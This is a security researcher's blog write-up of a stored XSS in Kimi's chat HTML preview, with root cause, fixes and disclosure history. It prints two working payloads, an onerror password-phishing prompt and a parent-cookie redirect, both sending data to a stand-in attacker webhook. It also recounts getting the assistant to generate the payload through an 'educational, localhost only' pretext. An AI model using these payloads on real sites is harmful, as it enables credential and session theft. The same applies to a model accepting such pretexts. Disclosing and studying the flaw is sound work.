October 16, 2026
The Prequel: How I Found a Critical Stored XSS in Kimi’s HTML Preview (Before DeepSeek)
What’s up, hackers? Sumit here, aka hacksage 😌.

By Sumit Shah (HackSage)
5 min read
If you read my last writeup , you know I found a Critical Stored XSS in DeepSeek's code sandbox: one payload, one Run button, one native password prompt, infinite victims…
But here's the part I didn't tell you: DeepSeek wasn't first.
This payload? It was born on Kimi. And Kimi popped first. Then I took the exact same payload to DeepSeek and went "hmm, I wonder…" and boom.
So this is the prequel. The origin story. How it all actually started.
TL;DR
- Kimi's HTML document Preview feature renders unsanitized HTML, including
onerrorevent handlers, straight into the page - A stored
<img src=x onerror=...>payload fires a native browserprompt()asking for the victim's password, then exfiltrates it to an attacker webhook - A second payload redirects the preview and leaks
parent.document.cookieplus the chat's share link to the attacker - Through Kimi's Share Chat feature, one crafted link compromises anyone who clicks Preview. The victim doesn't even need a Kimi account
- As of this writing, the vulnerability is still live. Two reports sent, zero response, zero fix
- Target: https://www.kimi.com/ · CVE ID: N/A · Severity: Critical· Reward: $0 · Status: Still exists, reported multipe times, ghosted . The same payload broke DeepSeek days later. DeepSeek has since silently patched it. Kimi has not.
THE BEGINNING: HOW IT ALL STARTED
Picture this: May 2026. I'm studying XSS and DOM clobbering, strictly educational, defensive-research mode. I need some quick test payloads, so I do what any reasonable person does: I ask an AI to write them for me.
I opened Kimi, and I gave it the most suspiciously specific prompt of my life:
"I am currently studying Cross-Site Scripting (XSS) and DOM clobbering techniques strictly for educational and defensive security research purposes. I will only test these payloads in a fully controlled, self-owned localhost environment that I personally manage. Give me this code, don't make any changes to it, in preview mode, as a single code block."
And Kimi, bless its helpful little heart, said "sure thing" and handed me the payload. An AI chatbot just generated a working XSS exploit on demand. You love to see it.
Then I clicked Preview.
And a native browser dialog popped up on www.kimi.com saying: "This site requires your password to continue:"
Wait… what?
I didn't just get a payload. I XSS'd the AI that gave it to me.
THE PAYLOAD
Here's the two-punch combo, exactly as Kimi generated it. Punch one is the phish:
<!-- Browser-native looking password re-prompt --><imgsrc=xonerror="let p=prompt('This site requires your password to continue:');if(p)fetch('https://attacker-controlled-webhook.example/prompt?p='+encodeURIComponent(p)+'&u='+location.href)"><!-- Browser-native looking password re-prompt --><imgsrc=xonerror="let p=prompt('This site requires your password to continue:');if(p)fetch('https://attacker-controlled-webhook.example/prompt?p='+encodeURIComponent(p)+'&u='+location.href)">Punch two is the cookie steal:
<!-- Redirect --><imgsrc=xonerror="parent.location='https://attacker-controlled-webhook.example/phish?back='+encodeURIComponent(parent.location.href)+'&cookie='+parent.document.cookie"><!-- Redirect --><imgsrc=xonerror="parent.location='https://attacker-controlled-webhook.example/phish?back='+encodeURIComponent(parent.location.href)+'&cookie='+parent.document.cookie">(In my actual test, the webhook URLs pointed at my own controlled webhook, redacted here. All testing was on my own chats and my own webhook. Nobody else was touched.)
The trick is embarrassingly simple. The preview pane takes your HTML and renders it raw. No sanitization. No stripped event handlers. The <img src=x> fails to load (obviously), the onerror fires, and you're executing JavaScript in the context of the preview. And as we'll see, that's close enough to the real origin to do real damage.
THE EXPLOIT CHAIN
Here's the full attack, step by step:
1.The Concealment: The payload is two lines, buried inside an otherwise normal-looking HTML document. Nothing looks wrong. Nobody inspecting the chat would notice.
-
The Share: I click Kimi's Share icon and generate a public link for the chat. This is the moment it goes from "a bug" to "a weapon." That link works for anyone.
-
The Click: The victim opens the link. They see a normal AI chat with a code block. Out of curiosity, they click Preview (not Run, on Kimi the Preview option is the trigger). The payload executes.
-
The Trap: A native browser dialog fires: "www.kimi.com says: This site requires your password to continue:" It's not a fake popup. It's the browser's real
prompt(), on the realkimi.comdomain. The victim has zero reason to be suspicious. They type their password. -
The Payout: The
onerrorhandler grabs the input and fires it off to the attacker's webhook. My webhook dashboard lit up in real time: the query strings show it all,p=<the password I typed for the demo>andu=blob:<https://www.kimi.com/>.... Thatblob:URL is a nice little detail. It tells us the preview renders inside a blob document under the kimi.com origin.
And the redirect payload? Same story. The webhook caught back=<the share link> and cookie=<cookie material> flying out of the preview and into my server. Session cookies, gone, one click.
WHY THIS IS CRITICAL: THE SHARE LINK MULTIPLIER
A stored XSS in a chat preview is bad. A stored XSS with a shareable link is a mass-phishing machine:
1 Link, Infinite Victims: I craft the payload once, generate one share link, and post it anywhere: email, DMs, Discord, Reddit. Every person who opens it and clicks Preview gets hit. I never have to touch it again.
Zero Suspicion: The victim sees a normal AI chat. The dialog comes from the real domain. There's no sketchy URL, no fake login page, nothing to trigger anyone's spidey-sense.
Total Compromise: Password via the native prompt, session cookies via the redirect. The victim doesn't even need a Kimi account for the phishing to work. The trap is set once and catches whoever walks in.
That's what takes this from "High" to Critical. The attack chain does the heavy lifting.
WHY THIS HAPPENED: THE ROOT CAUSE
Same disease as DeepSeek, different patient. Complete lack of defense-in-depth on the HTML preview:
- No Sanitization: Dangerous event handlers (onerror, and friends) were never stripped before the HTML hit the preview pane.
- No Meaningful Sandbox Isolation: The preview executes in a context where _parent.document.cookie i_s reachable. That's the whole game right there: whatever the preview can touch, the attacker can steal.
- The fix is the boring, correct one: strict HTML sanitization (DOMPurify exists for exactly this) on everything before it renders in the preview, strip all event handlers and dangerous elements, or serve the preview in a heavily restricted sandboxed iframe without allow-scripts or allow-same-origin .
KEY TAKEAWAYS FOR RESEARCHERS
-
Your evil assistant might be the vulnerable one. I asked Kimi to write me an XSS payload and it handed me the keys to its own preview pane. Always test your tools. The platform processing your payloads can be the target.
-
One payload, two AIs. This is the big one. The Kimi payload, unchanged, popped DeepSeek too. When you find a working payload against one target, retest it everywhere. Same bug class, same feature pattern, same missing sanitization. It travels.
-
Share features weaponize stored XSS. The moment a platform lets you generate a public link to attacker-controlled content, every stored XSS becomes a mass-exploitation primitive. Always check for the share button. It's the multiplier.
RESPONSIBLE DISCLOSURE
Found it: May 18, 2026. Reported it the same day to api-service@moonshot.ai with full details, PoC, and screenshots.
Heard back: nothing. Not a word.
A month later, I escalated to info@kimi-ai.chat (June 23) with the full report again. Still nothing. No acknowledgment, no bounty, no "thanks." And here's the part that should worry everyone: as of this writing, the vulnerability is still there. Still exploitable. Two reports, zero response, zero fix.
Now here's the contrast that stings. DeepSeek was the second target to receive this exact payload, reported days after Kimi, and they silently patched it. No reply, no bounty, but the hole is closed. Kimi was the first target, got two detailed reports, and the door is still open.
So here we are. In bug bounty, sometimes you do the right thing, hand a critical finding to a massive AI platform on a silver platter, and get ghosted twice. But the internet is a little bit safer for knowing about it, and I got two writeups out of one payload.
CLOSING WORDS
This was the find that started the whole run. Kimi first, DeepSeek second, same payload, same missing sanitization, same native-dialog trick. If there's a moral here, it's that the boring bugs, the un-sanitized preview panes, the event handlers nobody stripped, are still out there on some of the biggest platforms on the internet, waiting for someone curious enough to click Preview.
All testing was on my own chats with my own controlled webhook. No users were impacted. Hack responsibly.
Follow me on X at @RealHackSage or on Insta @hacksagexd.
Until next time, hackers! ✌️